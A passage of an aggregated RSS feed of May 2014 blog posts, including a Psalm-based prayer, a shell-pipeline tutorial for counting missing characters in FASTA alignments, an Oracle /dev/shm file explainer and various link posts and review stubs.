Hurts</title><link>http://evantravers.com/articles/2014/05/14/praising-your-wisdom-when-it-hurts/</link><description>&lt;p&gt;&lt;img alt="doors" src="https://images.evantravers.com/articles/2014/05/doors.jpg" /&gt;&lt;/p&gt;&lt;blockquote&gt;
&lt;p&gt;When my soul was embittered, when I was pricked in heart, I was brutish and
ignorant; I was like a beast toward you. Nevertheless, I am continually with
you; you hold my right hand. (Psalm 73:21-23 ESV)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This verse burdens my heart, and sets it free. Jesus, how often I allow my
heart to become encrusted with bitterness. I willfully pout that your path for
me is not the direction that I have desired. I bewail and moan as your loving
hand prunes away the unfruitful branches, preparing me for a useful lifetime of
service. Even as you seek to answer my lifelong prayers, removing the veil of
flesh in my heart, &amp;quot;pricking it&amp;quot;, I scream at you in animal fury, &amp;quot;brutish&amp;quot;
indeed.&lt;/p&gt;
&lt;p&gt;NEVERTHELESS.&lt;/p&gt;
&lt;p&gt;You do not leave nor forsake. You are always with me,
waiting for me to lift my head and acknowledge that even when I do not know,
you do and that shall ever be enough for me. Thank you that do not do
everything I ask, for surely I would be a much sorrier soul if you withheld
your loving hand from healing the hidden places where strongholds abound and
sin waits in the darkness. Thank you for your grace, and today as I see the
truth of this verse I ask you to never stop your heavenly surgery until your
image is stamped across the whole of my being. Thank you Jesus. I ask this in
your precious, life-giving name, amen.&lt;/p&gt;</description><author>trv.rs</author><pubDate>Wed, 14 May 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">http://evantravers.com/articles/2014/05/14/praising-your-wisdom-when-it-hurts/</guid></item><item><title>Count missing characters in FASTA files with a shell one-liner</title><link>https://jonathanchang.org/blog/count-missing-characters-in-fasta-files-with-a-shell-one-liner/</link><description>&lt;p&gt;One of the best things about working with FASTA and PHYLIP files is they are relatively simple file formats and thus are easy to parse with command-line tools. There are certainly a lot of negatives to these file types but it is handy for certain types of tasks.&lt;/p&gt;
  &lt;p&gt;I needed to find out how much missing data were in our FASTA and PHYLIP multiple sequence alignments. While it would be straightforward to write a one-off Python or R script, for these simple tasks the power of a full programming environment isn’t strictly necessary. Here I show you how to build up a small shell pipeline to count missing characters.&lt;/p&gt;
  &lt;p&gt;To count the total number of characters in a file:&lt;/p&gt;
  &lt;div class="language-sh highlighter-rouge"&gt;
    &lt;div class="highlight"&gt;
      &lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="nb"&gt;wc&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; file.fasta
&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;p&gt;Count the total number of &lt;em&gt;sequence&lt;/em&gt; characters in a file:&lt;/p&gt;
  &lt;div class="language-sh highlighter-rouge"&gt;
    &lt;div class="highlight"&gt;
      &lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="s2"&gt;"^&amp;gt;"&lt;/span&gt; file.fasta | &lt;span class="nb"&gt;wc&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;p&gt;Do this for all sequence files:&lt;/p&gt;
  &lt;div class="language-sh highlighter-rouge"&gt;
    &lt;div class="highlight"&gt;
      &lt;pre class="highlight"&gt;&lt;code&gt;find &lt;span class="nb"&gt;.&lt;/span&gt; &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"*.fasta"&lt;/span&gt; &lt;span class="nt"&gt;-exec&lt;/span&gt; sh &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s1"&gt;'grep -v "^&amp;gt;" "$1" | wc -c'&lt;/span&gt; &lt;span class="nt"&gt;--&lt;/span&gt; &lt;span class="o"&gt;{}&lt;/span&gt; &lt;span class="se"&gt;\;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;p&gt;…and add them up:&lt;/p&gt;
  &lt;div class="highlighter-rouge"&gt;
    &lt;div class="highlight"&gt;
      &lt;pre class="highlight"&gt;&lt;code&gt;find . -name "*.fasta" -exec sh -c 'grep -v "^&amp;gt;" "$1" | wc -c' -- {} \; | paste -s -d+ - | bc
&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;p&gt;Count the number of gap characters (&lt;code&gt;-&lt;/code&gt;) in a file (assumes no hyphens in names):&lt;/p&gt;
  &lt;div class="language-sh highlighter-rouge"&gt;
    &lt;div class="highlight"&gt;
      &lt;pre class="highlight"&gt;&lt;code&gt;fgrep &lt;span class="nt"&gt;-o&lt;/span&gt; - file.fasta | &lt;span class="nb"&gt;wc&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;p&gt;Get the proportion of missing data (gaps divided by total number of characters) in a file:&lt;/p&gt;
  &lt;div class="language-sh highlighter-rouge"&gt;
    &lt;div class="highlight"&gt;
      &lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="o"&gt;(&lt;/span&gt;fgrep &lt;span class="nt"&gt;-o&lt;/span&gt; - file.fasta | &lt;span class="nb"&gt;wc&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="s2"&gt;"^&amp;gt;"&lt;/span&gt; file.fasta | &lt;span class="nb"&gt;wc&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; | &lt;span class="nb"&gt;paste&lt;/span&gt; &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;/ - | bc -
&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;p&gt;Do the previous, but for all files in the current directory:&lt;/p&gt;
  &lt;div class="language-sh highlighter-rouge"&gt;
    &lt;div class="highlight"&gt;
      &lt;pre class="highlight"&gt;&lt;code&gt;find &lt;span class="nb"&gt;.&lt;/span&gt; &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"*.fasta"&lt;/span&gt; &lt;span class="nt"&gt;-exec&lt;/span&gt; sh &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s1"&gt;'(fgrep -o - "$1" | wc -c &amp;amp;&amp;amp; grep -v "^&amp;gt;" "$1" | wc -c) | paste -s -d/ - | bc -l'&lt;/span&gt; &lt;span class="nt"&gt;--&lt;/span&gt; &lt;span class="o"&gt;{}&lt;/span&gt; &lt;span class="se"&gt;\;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;p&gt;Add up the number of missing characters for all files in a certain directory:&lt;/p&gt;
  &lt;div class="language-sh highlighter-rouge"&gt;
    &lt;div class="highlight"&gt;
      &lt;pre class="highlight"&gt;&lt;code&gt;find folder/ &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"*.fasta"&lt;/span&gt; &lt;span class="nt"&gt;-exec&lt;/span&gt; sh &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s1"&gt;'fgrep -o - "$1" | wc -c'&lt;/span&gt; &lt;span class="nt"&gt;--&lt;/span&gt; &lt;span class="o"&gt;{}&lt;/span&gt; &lt;span class="se"&gt;\;&lt;/span&gt; | &lt;span class="nb"&gt;paste&lt;/span&gt; &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;+ - | bc
&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;p&gt;Add up the number of missing characters for all files in all directories in the current directory, in comma-separated format:&lt;/p&gt;
  &lt;div class="language-sh highlighter-rouge"&gt;
    &lt;div class="highlight"&gt;
      &lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="nb"&gt;read &lt;/span&gt;f&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="nv"&gt;$f&lt;/span&gt;,&lt;span class="p"&gt;;&lt;/span&gt; find &lt;span class="nv"&gt;$f&lt;/span&gt; &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"*.fasta"&lt;/span&gt; &lt;span class="nt"&gt;-exec&lt;/span&gt; sh &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s1"&gt;'fgrep -o - "$1" | wc -c'&lt;/span&gt; &lt;span class="nt"&gt;--&lt;/span&gt; &lt;span class="o"&gt;{}&lt;/span&gt; &lt;span class="se"&gt;\;&lt;/span&gt; | &lt;span class="nb"&gt;paste&lt;/span&gt; &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;+ - | bc&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;done&lt;/span&gt; &amp;lt; &amp;lt;&lt;span class="o"&gt;(&lt;/span&gt;find &lt;span class="nb"&gt;.&lt;/span&gt; &lt;span class="nt"&gt;-depth&lt;/span&gt; 1 &lt;span class="nt"&gt;-type&lt;/span&gt; d&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;p&gt;Other variations are left as an exercise to the reader. I hope this has been an enjoyable journey through the wonderful world of shell pipelines.&lt;/p&gt;</description><author>Jonathan Chang</author><pubDate>Wed, 14 May 2014 00:32:19 GMT</pubDate><guid isPermaLink="true">https://jonathanchang.org/blog/count-missing-characters-in-fasta-files-with-a-shell-one-liner/</guid></item><item><title>Vagrant on Fedora with libvirt (reprise)</title><link>https://purpleidea.com/blog/2014/05/13/vagrant-on-fedora-with-libvirt-reprise/</link><description>&lt;p&gt;&lt;a href="http://www.vagrantup.com/"&gt;Vagrant&lt;/a&gt; has become the &lt;em&gt;de facto&lt;/em&gt; tool for &lt;em&gt;devops&lt;/em&gt;. Faster iterations, clean environments, and less overhead. This &lt;em&gt;isn&amp;rsquo;t&lt;/em&gt; an article about &lt;em&gt;why&lt;/em&gt; you should use Vagrant. This is an article about &lt;em&gt;how&lt;/em&gt; to get up and running with Vagrant on Fedora with libvirt &lt;em&gt;easily&lt;/em&gt;!&lt;/p&gt;
&lt;p&gt;&lt;span style="text-decoration: underline;"&gt;Background&lt;/span&gt;:&lt;/p&gt;
&lt;p&gt;This article is an update of my original &lt;a href="https://purpleidea.com/blog/2013/12/09/vagrant-on-fedora-with-libvirt/"&gt;Vagrant on Fedora with libvirt&lt;/a&gt; article. There is still lots of good information in that article, but this one should be easier to follow and uses updated versions of Vagrant and vagrant-libvirt.&lt;/p&gt;</description><author>The Technical Blog of James on purpleidea.com</author><pubDate>Tue, 13 May 2014 21:58:06 GMT</pubDate><guid isPermaLink="true">https://purpleidea.com/blog/2014/05/13/vagrant-on-fedora-with-libvirt-reprise/</guid></item><item><title>Redux</title><link>http://wholelarderlove.com/redux/</link><description>&lt;p&gt;Incredible words from Rohan Anderson on living a meaningful life. In particular, those of his fifth paragraph struck me especially hard. I was sorely tempted to extract the relevant paragraph and paste it below, but I will not deprive him of the credit he so deserves for writing this piece. I sincerely hope you will go check it out.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://wholelarderlove.com/redux/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 13 May 2014 21:39:53 GMT</pubDate><guid isPermaLink="true">http://wholelarderlove.com/redux/</guid></item><item><title>Frequency</title><link>https://olshansky.info/movie/frequency/</link><description>Olshansky's review of Frequency</description><author>🦉 olshansky 🦁</author><pubDate>Tue, 13 May 2014 20:00:14 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/frequency/</guid></item><item><title>Children: The first priority #Vote4Children</title><link>https://trigonaminima.github.io/2014/05/vote4children/</link><description>Before actually starting over lets discuss the facts we have in India</description><author>Playground</author><pubDate>Tue, 13 May 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://trigonaminima.github.io/2014/05/vote4children/</guid></item><item><title>MongoDB Misinformation</title><link>https://3059274a.danpalmer-me.pages.dev/2014-05-13-mongodbs-new-whitepaper/</link><description>&lt;p&gt;MongoDB, &lt;a href="http://www.mongodb.com/press/10gen-announces-company-name-change-mongodb-inc"&gt;the company behind MongoDB&lt;/a&gt; published a new whitepaper this month, about &amp;lsquo;quanityfing business avantage&amp;rsquo;. As I&amp;rsquo;ve recently completed a research project at university where I critically analysed the design decisions taken in MongoDB, I thought it would be interesting to see how the company sells it. I&amp;rsquo;ll write about my research sometime, but for now, I&amp;rsquo;m going to pull out a few quotes from the whitepaper. You can download the paper &lt;a href="http://info.mongodb.com/rs/mongodb/images/MongoDB_Quantifying_BizAdvantage.pdf"&gt;here&lt;/a&gt;, that&amp;rsquo;s a directly link so you don&amp;rsquo;t have to sign up to their newsletter to get a copy.&lt;/p&gt;</description><author>Dan Palmer</author><pubDate>Tue, 13 May 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://3059274a.danpalmer-me.pages.dev/2014-05-13-mongodbs-new-whitepaper/</guid></item><item><title>This Week in Podcasts</title><link>https://zacs.site/blog/this-week-in-podcasts-5514.html</link><description>&lt;p&gt;I made it to Thursday afternoon with only three episodes here, as woefully underpopulated as last week&amp;#8217;s issue had been. But then, as they say, a miracle happened: all of a sudden every show I turned on wowed me, and before I knew it, I had the sprawling list you see stretched out before you. A sprawling list of, as usual, the best podcasts curated from those I listened to over this last week; it doesn&amp;#8217;t get much better than this. Unfortunately though, I forgot to post it on Sunday: Mothers&amp;#8217; Day got the best of me, I suppose. Sorry&amp;#160;&amp;#8212;&amp;#160;but let me assure you, this will be worth your wait.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/this-week-in-podcasts-5514.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 13 May 2014 00:36:48 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/this-week-in-podcasts-5514.html</guid></item><item><title>Safety Not Guaranteed</title><link>https://olshansky.info/movie/safety_not_guaranteed/</link><description>Olshansky's review of Safety Not Guaranteed</description><author>🦉 olshansky 🦁</author><pubDate>Mon, 12 May 2014 18:46:55 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/safety_not_guaranteed/</guid></item><item><title>Project Almanac</title><link>https://olshansky.info/movie/project_almanac/</link><description>Olshansky's review of Project Almanac</description><author>🦉 olshansky 🦁</author><pubDate>Mon, 12 May 2014 16:46:25 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/project_almanac/</guid></item><item><title>Midnight in Paris</title><link>https://olshansky.info/movie/midnight_in_paris/</link><description>Olshansky's review of Midnight in Paris</description><author>🦉 olshansky 🦁</author><pubDate>Mon, 12 May 2014 16:35:32 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/midnight_in_paris/</guid></item><item><title>Moving the MySQL Data Directory on Ubuntu</title><link>https://joshuarogers.net/articles/2014-05/moving-mysql-data-directory-ubuntu/</link><description>If you've ever setup a web-app on a Linux server, chances are that you've setup a MySQL server at least once. On the off chance that you haven't, we'll do a quick crash course now:
apt-get install mysql-server It might seem like I'm being a bit sarcastic. I am, though not by much. I suspect that most of the instances that I've seem running have had no configuration past what comes stock.</description><author>Joshua Rogers</author><pubDate>Mon, 12 May 2014 15:00:00 GMT</pubDate><guid isPermaLink="true">https://joshuarogers.net/articles/2014-05/moving-mysql-data-directory-ubuntu/</guid></item><item><title>Hauppauge 950Q doesn't work with WD Live</title><link>https://www.craigpardey.com/post/2014-05-12-hauppauge-950q-doesnt-work-with-wd-live/</link><description>&lt;p&gt;According to the Hauppauge website, the Western Digital Live Hub works with
the Hauppauge WinTV-HVR-950Q TV tuner.&lt;/p&gt;
&lt;p&gt;It does not.&lt;/p&gt;
&lt;p&gt;The Hauppauge app does the channel scan, but freezes when you try to change
channels. In other words you have to reboot the WD Live box whenever you want
to change channels. That doesn&amp;rsquo;t count as working in my books. Just sayin&amp;rsquo;&amp;hellip;&lt;/p&gt;
&lt;p&gt;A bit of Googling has shown that 950Q hardware Rev B may have worked, but the
version commonly available in stores is Rev E. YMMV.&lt;/p&gt;</description><author>Craig Pardey</author><pubDate>Mon, 12 May 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.craigpardey.com/post/2014-05-12-hauppauge-950q-doesnt-work-with-wd-live/</guid></item><item><title>Making Adjustments</title><link>https://phacks.dev/articles/making-adjustments</link><description>Our app is finally up and running. We have tried and enhanced the app in three directions: Performance, Design and User Experience.</description><author>Nicolas Goutay</author><pubDate>Mon, 12 May 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://phacks.dev/articles/making-adjustments</guid></item><item><title>Serving static content (and comments!) with Pelican</title><link>https://www.zufallsheld.de/2014/05/11/serving-static-content-and-comments-with-pelican/</link><description>&lt;p&gt;At the beginning of 2014 I changed my blogging platform from Wordpress to Pelican. The reasons are briefly described in &lt;a href="https://www.zufallsheld.de/2014/01/22/new-blog-powered-by-pelican/"&gt;this&lt;/a&gt; blog-article. Now I&amp;#8217;m going to describe the setup-process. The sources for my whole blog including this post are available on &lt;a href="https://github.com/rndmh3ro/blog"&gt;Github&lt;/a&gt;.&lt;/p&gt;
&lt;!-- PELICAN_END_SUMMARY --&gt;

&lt;p&gt;&lt;img alt="pelican_and_isso" src="https://www.zufallsheld.de/images/isso_pelikan.png" /&gt;&lt;/p&gt;
&lt;h1 id="table-of-contents"&gt;Table of&amp;nbsp;Contents&lt;/h1&gt;
&lt;div class="toc"&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="#table-of-contents"&gt;Table of&amp;nbsp;Contents&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="#installation"&gt;Installation …&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;</description><author>zufallsheld</author><pubDate>Sun, 11 May 2014 21:55:50 GMT</pubDate><guid isPermaLink="true">https://www.zufallsheld.de/2014/05/11/serving-static-content-and-comments-with-pelican/</guid></item><item><title>Ripping apart Gastropoda</title><link>https://liza.io/ripping-apart-gastropoda/</link><description>&lt;p&gt;For the record, this post isn&amp;rsquo;t about ripping apart real snails and slugs. It&amp;rsquo;s about ripping apart pretty much all of my existing code, which is what I&amp;rsquo;ve been doing over this weekend.&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Sun, 11 May 2014 16:26:29 GMT</pubDate><guid isPermaLink="true">https://liza.io/ripping-apart-gastropoda/</guid></item><item><title>GPS humanity</title><link>http://dimitarsimeonov.com/2014/05/11/gps-humanity</link><description>&lt;p&gt;Currently the user interfaces are getting advanced to the point of where they could treat us better than other human beings would, at least in some cases. For example, take the GPS navigation in your phone. Suppose your GPS gives you a route but you miss a turn. The GPS doesn’t get angry at you, the way a human navigator might. “Are you blind or stupid, didn’t you see the street sign?” This is something you’d never hear from voice turn-by-turn navigation. Instead, the GPS would figure out the correct way to continue from the new location and continue navigating.&lt;/p&gt;

&lt;p&gt;Alternatively, imagine the GPS is wrong - it tells you to turn where you aren’t allowed to turn or gets you into a traffic jam, or doesn’t know about changing road conditions. “Stupid GPS!”, you shout. “I’m not stupid, you’re stupid!”… is something you’d never hear back from it. You’ll also never see the GPS getting pissed off at you and stopping to navigate. It will continue with the same voice, as if it didn’t hear you.&lt;/p&gt;

&lt;p&gt;There is no unnecessary conflict. In these moments where something goes wrong, caused by either side, or completely extraneous, the GPS is the one that acts more humanely. It doesn’t go calling names or chasing blame, but instead works on fixing the situation. It treats the other party with respect and doesn’t let its ego gets in the way.&lt;/p&gt;

&lt;p&gt;When things are working well, everybody is happy and friendly. When things go wrong is when we really learn how others really are. The best people, in my opinion, would try be supportive of others and to overcome the problem. I think it is a worthwhile exercise, next time something goes wrong to think “What would GPS do?”&lt;/p&gt;</description><author>D13V</author><pubDate>Sun, 11 May 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">http://dimitarsimeonov.com/2014/05/11/gps-humanity</guid></item><item><title>Boom Box Aux In Mod</title><link>https://www.mikekasberg.com/blog/2014/05/10/boom-box-aux-in-mod.html</link><description>&lt;p&gt;I wanted to modify an old boom box so it could play my iPod with an auxiliary cable. It turned out really well, and it wasn’t too difficult to complete. Check it out!&lt;/p&gt;

&lt;div class="text-center"&gt;

&lt;/div&gt;

&lt;p&gt;Want to do something similar yourself? Full instructions for the mod are available on &lt;a href="https://www.instructables.com/Boom-Box-Aux-In-Mod/"&gt;Instructables&lt;/a&gt;.&lt;/p&gt;</description><author>Mike Kasberg's Blog</author><pubDate>Sat, 10 May 2014 22:00:00 GMT</pubDate><guid isPermaLink="true">https://www.mikekasberg.com/blog/2014/05/10/boom-box-aux-in-mod.html</guid></item><item><title>Screenshot Saturday 170</title><link>https://etodd.io/2014/05/10/screenshot-saturday-170/</link><description>&lt;p&gt;Hello and welcome to another week of Lemma development progress updates!&lt;/p&gt;
&lt;p&gt;This time I did a lot more work on the player character. I spent a ton of time in GIMP working on the texture map. I didn't skimp on memory space, it's a full 4096x4096. The GIMP file is over 150MB.&lt;/p&gt;
&lt;p&gt;I also split the model into three distinct materials: a shiny one for the chest, neck, and pants, a less shiny one for the hands, and a completely dull one for the hoodie. I stored the mappings for these materials in the texture's alpha channel.&lt;/p&gt;</description><author>Evan Todd</author><pubDate>Sat, 10 May 2014 14:57:27 GMT</pubDate><guid isPermaLink="true">https://etodd.io/2014/05/10/screenshot-saturday-170/</guid></item><item><title>General Inequality</title><link>https://zacs.site/blog/general-inequality.html</link><description>&lt;p&gt;On &lt;a href="http://atp.fm/episodes/63"&gt;last week&amp;#8217;s episode of the Accidental Tech Podcast&lt;/a&gt;, John Siracusa spent a great deal of time explaining his disappointment in Apple for sticking to its long-held policy whereby it takes a 30% cut of all digital transactions, regardless of volume. He theorized that Apple&amp;#8217;s strict adherence to this rule had led Amazon to remove comiXology&amp;#8217;s ability to sell comics within the app, thus leading to a detrimental user experience for this segment of Apple users who now had to use a clunky web-based workaround. Then, in &lt;a href="http://atp.fm/episodes/64"&gt;this week&amp;#8217;s&lt;/a&gt; follow-up segment, John revisited this subject in response to a number of listener comments questioning how his suggester solution&amp;#160;&amp;#8212;&amp;#160;a discounted cut for high-volume retailers driving huge traffic through Apple&amp;#8217;s platform, such as Amazon would with in-app purchases of comics and books, for example&amp;#160;&amp;#8212;&amp;#160;did not clash with his stated support of net neutrality. Rather than weigh in with my feedback in an email though, I would rather it appear in a public forum if for no other reason than so that, if I am completely off-base, someone can tell me so; because as I listened to John justify his position in response to his listeners&amp;#8217; opinions, I couldn&amp;#8217;t help but feel he completely missed the point.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/general-inequality.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sat, 10 May 2014 12:37:56 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/general-inequality.html</guid></item><item><title>What the heck are the /dev/shm/JOXSHM_EXT_x files on Linux?</title><link>https://tanelpoder.com/2014/05/09/what-the-heck-are-the-devshmjoxshm_ext_x-files-on-linux/</link><description>&lt;p&gt;There was an interesting question in &lt;a href="http://www.freelists.org/post/oracle-l/Question-about-hugepages-shared-memory-and-devshm" target="_blank"&gt;Oracle-L&lt;/a&gt; about the JOXSHM_EXT_* files in /dev/shm directory on Linux. Basically something like this:&lt;/p&gt;
&lt;pre&gt;$ &lt;strong&gt;ls -l /dev/shm/*&lt;/strong&gt; | head
-rwxrwx--- 1 oracle dba 4096 Apr 18 10:16 /dev/shm/&lt;span style="color: #ff0000;"&gt;&lt;strong&gt;JOXSHM_EXT_&lt;/strong&gt;&lt;/span&gt;0_LIN112_1409029
-rwxrwx--- 1 oracle dba 4096 Apr 18 10:16 /dev/shm/JOXSHM_EXT_100_LIN112_1409029
-rwxrwx--- 1 oracle dba 4096 Apr 18 10:16 /dev/shm/JOXSHM_EXT_101_LIN112_1409029
-rwxrwx--- 1 oracle dba 4096 Apr 18 10:23 /dev/shm/JOXSHM_EXT_102_LIN112_1409029
-rwxrwx--- 1 oracle dba 4096 Apr 18 10:23 /dev/shm/JOXSHM_EXT_103_LIN112_1409029
-rwxrwx--- 1 oracle dba 36864 Apr 18 10:23 /dev/shm/JOXSHM_EXT_104_LIN112_1409029
...&lt;/pre&gt;
&lt;p&gt;There are a few interesting MOS articles about these files and how/when to get rid of those (don’t remove any files before reading the notes!), but none of these articles explain why these JOXSHM (and PESHM) files are needed at all:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;/dev/shm Filled Up With Files In Format JOXSHM_EXT_xxx_SID_xxx (Doc ID &lt;a href="https://support.oracle.com/epmos/faces/DocContentDisplay?id=752899.1" target="_blank"&gt;752899.1&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;Stale Native Code Files Are Being Cached with File Names Such as: JOXSHM_EXT*, PESHM_EXT*, PESLD* or SHMDJOXSHM_EXT* (Doc ID &lt;a href="https://support.oracle.com/epmos/faces/DocContentDisplay?id=1120143.1" target="_blank"&gt;1120143.1&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;Ora-7445 [Ioc_pin_shared_executable_object()] (Doc ID &lt;a href="https://support.oracle.com/epmos/faces/DocContentDisplay?id=1316906.1" target="_blank"&gt;1316906.1&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Here’s an explanation, a bit more elaborated version of what I already posted in Oracle-L:&lt;/p&gt;</description><author>Tanel Poder Blog</author><pubDate>Fri, 09 May 2014 23:12:01 GMT</pubDate><guid isPermaLink="true">https://tanelpoder.com/2014/05/09/what-the-heck-are-the-devshmjoxshm_ext_x-files-on-linux/</guid></item><item><title>Instapaper 5.2</title><link>https://zacs.site/blog/instapaper-52.html</link><description>&lt;p&gt;When Apple released iOS 7.1 to the public in early March, many heralded it as the version of iOS 7 that should have shipped last September in 2013; iOS 7.1 is what iOS 7 should have been. Faced with severe time constraints, however, the popular narrative paints a picture of Apple having no choice but to release what many would come to call a half-baked product or slip on their intended release date. Unsurprisingly, the desire to stick with the latter made the former a necessity, and thus we found ourselves with the oft-criticized iOS 7.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/instapaper-52.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Fri, 09 May 2014 20:43:49 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/instapaper-52.html</guid></item><item><title>Could Soylent Replace Food?</title><link>http://www.newyorker.com/reporting/2014/05/12/140512fa_fact_widdicombe</link><description>&lt;p&gt;Great to see Soylent popping back up in the news again, this time courtesy of &lt;a href="http://nextdraft.com/archives/n20140505/will-it-blend/"&gt;Dave Pell&amp;#8217;s The Next Draft&lt;/a&gt; and The New Yorker&amp;#8217;s Lizzie Widdicombe. In the past, I have &lt;a href="https://zacs.site/blog/soylent.html"&gt;written&lt;/a&gt; &lt;a href="https://zacs.site/blog/a-few-more-thoughts-on-soylent.html"&gt;about&lt;/a&gt; and linked to &lt;a href="https://zacs.site/blog/two-months-of-soylent.html"&gt;articles&lt;/a&gt; &lt;a href="https://zacs.site/blog/soylent-on-the-verge.html"&gt;discussing&lt;/a&gt; &lt;a href="https://zacs.site/blog/how-i-survived-a-week-without-food.html"&gt;this&lt;/a&gt; a number of times, but never took my enthusiasm for Rob Rhinehart&amp;#8217;s creation any further. Now, however, that Soylent has moved past the beta stages and &lt;a href="http://diy.soylent.me"&gt;anyone can get their hands on it&lt;/a&gt;, I can&amp;#8217;t wait to give it a try.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.newyorker.com/reporting/2014/05/12/140512fa_fact_widdicombe"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Fri, 09 May 2014 19:12:00 GMT</pubDate><guid isPermaLink="true">http://www.newyorker.com/reporting/2014/05/12/140512fa_fact_widdicombe</guid></item><item><title>Personas, data science, k-means</title><link>/2014/05/08/Personas-data-science-k-means/</link><description>&lt;p&gt;&lt;!-- raw HTML omitted --&gt; If one of the industry lingo terms in title didn&amp;rsquo;t make your skin crawl a little then I need to try harder. At the same time you&amp;rsquo;ve probably heard someone use one of them in a non-trolling way in the last month. All three of these can often actually mean the same or similar things, it&amp;rsquo;s just people approach them differently from their world perspective.&lt;/p&gt;
&lt;p&gt;Personas don&amp;rsquo;t have to be marketing only speak, and data science doesn&amp;rsquo;t have to be only for stats people. My goal here is to simply set a context for the rest of the meat which talks about how you can simply look at your data and let it surface things you may not have known.&lt;/p&gt;
&lt;h3 id="personas"&gt;
&lt;div&gt;
Personas
&lt;/div&gt;
&lt;/h3&gt;
